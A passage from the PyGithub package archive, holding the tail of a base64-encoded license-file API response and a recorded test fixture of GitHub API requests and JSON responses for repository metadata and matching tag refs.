CgogIElOIE5PIEVWRU5UIFVOTEVT\nUyBSRVFVSVJFRCBCWSBBUFBMSUNBQkxFIExBVyBPUiBBR1JFRUQgVE8gSU4g\nV1JJVElORwpXSUxMIEFOWSBDT1BZUklHSFQgSE9MREVSLCBPUiBBTlkgT1RI\nRVIgUEFSVFkgV0hPIE1PRElGSUVTIEFORC9PUiBDT05WRVlTClRIRSBQUk9H\nUkFNIEFTIFBFUk1JVFRFRCBBQk9WRSwgQkUgTElBQkxFIFRPIFlPVSBGT1Ig\nREFNQUdFUywgSU5DTFVESU5HIEFOWQpHRU5FUkFMLCBTUEVDSUFMLCBJTkNJ\nREVOVEFMIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyBBUklTSU5HIE9VVCBP\nRiBUSEUKVVNFIE9SIElOQUJJTElUWSBUTyBVU0UgVEhFIFBST0dSQU0gKElO\nQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gTE9TUyBPRgpEQVRBIE9SIERB\nVEEgQkVJTkcgUkVOREVSRUQgSU5BQ0NVUkFURSBPUiBMT1NTRVMgU1VTVEFJ\nTkVEIEJZIFlPVSBPUiBUSElSRApQQVJUSUVTIE9SIEEgRkFJTFVSRSBPRiBU\nSEUgUFJPR1JBTSBUTyBPUEVSQVRFIFdJVEggQU5ZIE9USEVSIFBST0dSQU1T\nKSwKRVZFTiBJRiBTVUNIIEhPTERFUiBPUiBPVEhFUiBQQVJUWSBIQVMgQkVF\nTiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBPRgpTVUNIIERBTUFHRVMu\nCgogIDE3LiBJbnRlcnByZXRhdGlvbiBvZiBTZWN0aW9ucyAxNSBhbmQgMTYu\nCgogIElmIHRoZSBkaXNjbGFpbWVyIG9mIHdhcnJhbnR5IGFuZCBsaW1pdGF0\naW9uIG9mIGxpYWJpbGl0eSBwcm92aWRlZAphYm92ZSBjYW5ub3QgYmUgZ2l2\nZW4gbG9jYWwgbGVnYWwgZWZmZWN0IGFjY29yZGluZyB0byB0aGVpciB0ZXJt\ncywKcmV2aWV3aW5nIGNvdXJ0cyBzaGFsbCBhcHBseSBsb2NhbCBsYXcgdGhh\ndCBtb3N0IGNsb3NlbHkgYXBwcm94aW1hdGVzCmFuIGFic29sdXRlIHdhaXZl\nciBvZiBhbGwgY2l2aWwgbGlhYmlsaXR5IGluIGNvbm5lY3Rpb24gd2l0aCB0\naGUKUHJvZ3JhbSwgdW5sZXNzIGEgd2FycmFudHkgb3IgYXNzdW1wdGlvbiBv\nZiBsaWFiaWxpdHkgYWNjb21wYW5pZXMgYQpjb3B5IG9mIHRoZSBQcm9ncmFt\nIGluIHJldHVybiBmb3IgYSBmZWUuCgogICAgICAgICAgICAgICAgICAgICBF\nTkQgT0YgVEVSTVMgQU5EIENPTkRJVElPTlMKCiAgICAgICAgICAgIEhvdyB0\nbyBBcHBseSBUaGVzZSBUZXJtcyB0byBZb3VyIE5ldyBQcm9ncmFtcwoKICBJ\nZiB5b3UgZGV2ZWxvcCBhIG5ldyBwcm9ncmFtLCBhbmQgeW91IHdhbnQgaXQg\ndG8gYmUgb2YgdGhlIGdyZWF0ZXN0CnBvc3NpYmxlIHVzZSB0byB0aGUgcHVi\nbGljLCB0aGUgYmVzdCB3YXkgdG8gYWNoaWV2ZSB0aGlzIGlzIHRvIG1ha2Ug\naXQKZnJlZSBzb2Z0d2FyZSB3aGljaCBldmVyeW9uZSBjYW4gcmVkaXN0cmli\ndXRlIGFuZCBjaGFuZ2UgdW5kZXIgdGhlc2UgdGVybXMuCgogIFRvIGRvIHNv\nLCBhdHRhY2ggdGhlIGZvbGxvd2luZyBub3RpY2VzIHRvIHRoZSBwcm9ncmFt\nLiAgSXQgaXMgc2FmZXN0CnRvIGF0dGFjaCB0aGVtIHRvIHRoZSBzdGFydCBv\nZiBlYWNoIHNvdXJjZSBmaWxlIHRvIG1vc3QgZWZmZWN0aXZlbHkKc3RhdGUg\ndGhlIGV4Y2x1c2lvbiBvZiB3YXJyYW50eTsgYW5kIGVhY2ggZmlsZSBzaG91\nbGQgaGF2ZSBhdCBsZWFzdAp0aGUgImNvcHlyaWdodCIgbGluZSBhbmQgYSBw\nb2ludGVyIHRvIHdoZXJlIHRoZSBmdWxsIG5vdGljZSBpcyBmb3VuZC4KCiAg\nICA8b25lIGxpbmUgdG8gZ2l2ZSB0aGUgcHJvZ3JhbSdzIG5hbWUgYW5kIGEg\nYnJpZWYgaWRlYSBvZiB3aGF0IGl0IGRvZXMuPgogICAgQ29weXJpZ2h0IChD\nKSA8eWVhcj4gIDxuYW1lIG9mIGF1dGhvcj4KCiAgICBUaGlzIHByb2dyYW0g\naXMgZnJlZSBzb2Z0d2FyZTogeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5k\nL29yIG1vZGlmeQogICAgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUg\nR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICAgIHRo\nZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMg\nb2YgdGhlIExpY2Vuc2UsIG9yCiAgICAoYXQgeW91ciBvcHRpb24pIGFueSBs\nYXRlciB2ZXJzaW9uLgoKICAgIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRl\nZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogICAgYnV0\nIFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxp\nZWQgd2FycmFudHkgb2YKICAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNT\nIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKICAgIEdOVSBH\nZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCgogICAg\nWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIEdl\nbmVyYWwgUHVibGljIExpY2Vuc2UKICAgIGFsb25nIHdpdGggdGhpcyBwcm9n\ncmFtLiAgSWYgbm90LCBzZWUgPGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNl\ncy8+LgoKQWxzbyBhZGQgaW5mb3JtYXRpb24gb24gaG93IHRvIGNvbnRhY3Qg\neW91IGJ5IGVsZWN0cm9uaWMgYW5kIHBhcGVyIG1haWwuCgogIElmIHRoZSBw\ncm9ncmFtIGRvZXMgdGVybWluYWwgaW50ZXJhY3Rpb24sIG1ha2UgaXQgb3V0\ncHV0IGEgc2hvcnQKbm90aWNlIGxpa2UgdGhpcyB3aGVuIGl0IHN0YXJ0cyBp\nbiBhbiBpbnRlcmFjdGl2ZSBtb2RlOgoKICAgIDxwcm9ncmFtPiAgQ29weXJp\nZ2h0IChDKSA8eWVhcj4gIDxuYW1lIG9mIGF1dGhvcj4KICAgIFRoaXMgcHJv\nZ3JhbSBjb21lcyB3aXRoIEFCU09MVVRFTFkgTk8gV0FSUkFOVFk7IGZvciBk\nZXRhaWxzIHR5cGUgYHNob3cgdycuCiAgICBUaGlzIGlzIGZyZWUgc29mdHdh\ncmUsIGFuZCB5b3UgYXJlIHdlbGNvbWUgdG8gcmVkaXN0cmlidXRlIGl0CiAg\nICB1bmRlciBjZXJ0YWluIGNvbmRpdGlvbnM7IHR5cGUgYHNob3cgYycgZm9y\nIGRldGFpbHMuCgpUaGUgaHlwb3RoZXRpY2FsIGNvbW1hbmRzIGBzaG93IHcn\nIGFuZCBgc2hvdyBjJyBzaG91bGQgc2hvdyB0aGUgYXBwcm9wcmlhdGUKcGFy\ndHMgb2YgdGhlIEdlbmVyYWwgUHVibGljIExpY2Vuc2UuICBPZiBjb3Vyc2Us\nIHlvdXIgcHJvZ3JhbSdzIGNvbW1hbmRzCm1pZ2h0IGJlIGRpZmZlcmVudDsg\nZm9yIGEgR1VJIGludGVyZmFjZSwgeW91IHdvdWxkIHVzZSBhbiAiYWJvdXQg\nYm94Ii4KCiAgWW91IHNob3VsZCBhbHNvIGdldCB5b3VyIGVtcGxveWVyIChp\nZiB5b3Ugd29yayBhcyBhIHByb2dyYW1tZXIpIG9yIHNjaG9vbCwKaWYgYW55\nLCB0byBzaWduIGEgImNvcHlyaWdodCBkaXNjbGFpbWVyIiBmb3IgdGhlIHBy\nb2dyYW0sIGlmIG5lY2Vzc2FyeS4KRm9yIG1vcmUgaW5mb3JtYXRpb24gb24g\ndGhpcywgYW5kIGhvdyB0byBhcHBseSBhbmQgZm9sbG93IHRoZSBHTlUgR1BM\nLCBzZWUKPGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNlcy8+LgoKICBUaGUg\nR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZG9lcyBub3QgcGVybWl0IGlu\nY29ycG9yYXRpbmcgeW91ciBwcm9ncmFtCmludG8gcHJvcHJpZXRhcnkgcHJv\nZ3JhbXMuICBJZiB5b3VyIHByb2dyYW0gaXMgYSBzdWJyb3V0aW5lIGxpYnJh\ncnksIHlvdQptYXkgY29uc2lkZXIgaXQgbW9yZSB1c2VmdWwgdG8gcGVybWl0\nIGxpbmtpbmcgcHJvcHJpZXRhcnkgYXBwbGljYXRpb25zIHdpdGgKdGhlIGxp\nYnJhcnkuICBJZiB0aGlzIGlzIHdoYXQgeW91IHdhbnQgdG8gZG8sIHVzZSB0\naGUgR05VIExlc3NlciBHZW5lcmFsClB1YmxpYyBMaWNlbnNlIGluc3RlYWQg\nb2YgdGhpcyBMaWNlbnNlLiAgQnV0IGZpcnN0LCBwbGVhc2UgcmVhZAo8aHR0\ncDovL3d3dy5nbnUub3JnL3BoaWxvc29waHkvd2h5LW5vdC1sZ3BsLmh0bWw+\nLgo=\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/PyGithub/PyGithub/blob/master/COPYING"},"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetMatchingRefs.txt0000644000175100001660000023045514756101563025020 0ustar00runnerdockerhttps GET api.github.com None /repos/FlorentClarret/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 16 Apr 2020 20:02:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1587068140'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b1b13548891ad0c58392b7043ccdd2f"'), ('Last-Modified', 'Mon, 13 Apr 2020 14:45:20 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87E6:18637:1DBDE50:22EBFB6:5E98B9E4')] {"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-16T05:57:44Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12647,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-16T15:10:54Z","pushed_at":"2020-04-16T14:36:03Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12635,"stargazers_count":3348,"watchers_count":3348,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1085,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":46,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1085,"open_issues":46,"watchers":3348,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-16T15:10:54Z","pushed_at":"2020-04-16T14:36:03Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12635,"stargazers_count":3348,"watchers_count":3348,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1085,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":46,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1085,"open_issues":46,"watchers":3348,"default_branch":"master"},"network_count":1085,"subscribers_count":0} https GET api.github.com None /repos/FlorentClarret/PyGithub/git/matching-refs/tags?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 16 Apr 2020 20:02:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1587068140'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"32f41b63919b120eee35ef9a2bbd8062"'), ('Last-Modified', 'Mon, 13 Apr 2020 14:45:20 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87E8:414E3:26EE41F:2E19C49:5E98B9E4')] [{"ref":"refs/tags/v0.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.1","object":{"sha":"fc28301862c0118b88cc94da678fb5104b249370","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc28301862c0118b88cc94da678fb5104b249370"}},{"ref":"refs/tags/v0.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.2","object":{"sha":"48cabc0fc3b1a9767d6f0db9f6058f24681cada7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/48cabc0fc3b1a9767d6f0db9f6058f24681cada7"}},{"ref":"refs/tags/v0.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.3","object":{"sha":"4870747f5faf15ba38ece8211283ef87b25679c1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4870747f5faf15ba38ece8211283ef87b25679c1"}},{"ref":"refs/tags/v0.4","node_id":"MDM6UmVmMjU1MzU1MTY